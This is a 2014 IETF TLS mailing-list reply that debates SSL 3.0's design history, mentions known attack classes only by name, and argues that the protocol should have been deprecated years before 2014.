Re: [TLS] Prohibiting SSL 3.0

On Oct 31, 2014 6:18 AM, "Bodo Moeller" <bmoeller@acm.org> wrote:
>
> Watson Ladd <watsonbladd@gmail.com>:
>
>> No, the root of all evil is hiring a biology student for a summer to
>> make a security protocol. It's a miracle SSLv3 works at all, showing
>> that the Lord protects drunks, fools, and interns.
>
>
> I don't think that's fair to Paul Kocher; see also https://www.usenix.org/legacy/publications/library/proceedings/ec96/full_papers/wagner/wagner.pdf for a protocol analysis done by people that I think don't have a biology background. (Was Paul an intern or a paid consultant at that time? I thought the latter [cf. http://www.informatik.uni-trier.de/~ley/pers/hd/k/Kocher:Paul_C=]. He'd been a consultant to RSA Data Security before, although the only thing I seem to remember about his work at that time was that he found not much wrong with RC4.)

Paul Kocher did invent side channel analysis a few years later.
Contrast TLS response to protocol flaws to that of IPsec: The first
round of IPsec was terrible. So a second version was developed, which
was much better and is widely used today. By contrast, the improved
version of SSL v3 wasn't, and each successive version never fully
addressed the security issues.

>
> It seems pretty safe to say that Phil Rogaway would have been able to spot additional problems and improve the SSL 3.0 protocol, but this was years before there was a systematic understanding of many of the relevant concepts. Chosen-ciphertext attacks were a thing, but "authenticated encryption" was unheard of. This was even before http://web.cs.ucdavis.edu/~rogaway/papers/sym-enc.pdf

You're understating the degree of knowledge at the time, and
overstating the extent to which open questions needed to be answered
to see that SSL v3 was flawed. Again, read what Rogaway said about
IPsec, and ask "did this apply to SSL?"

No one would have caught the decryption oracle in PKCS 1.5 or
renegotiation, or Triple Handshake at the time. But all the attacks
we're discussing rely on record layer choices that were known at the
time they were made to have secure alternatives. Was the Rogaway IPsec
comment document not written in the 1994-1995 period?

The question is not why SSL v3 got it wrong. The question is why we
didn't get it right a few years later, and stop using broken
protocols. You wrote in 2004 that one byte could be extracted from a
SSL v3 ciphertext, thus breaking confidentiality completely. Yet it's
not until 2014 that this actually leads to action on depreciating SSL
v3.

Sincerely,
Watson Ladd

>
> Bodo
>
>
> _______________________________________________
> TLS mailing list
> TLS@ietf.org
> https://www.ietf.org/mailman/listinfo/tls
>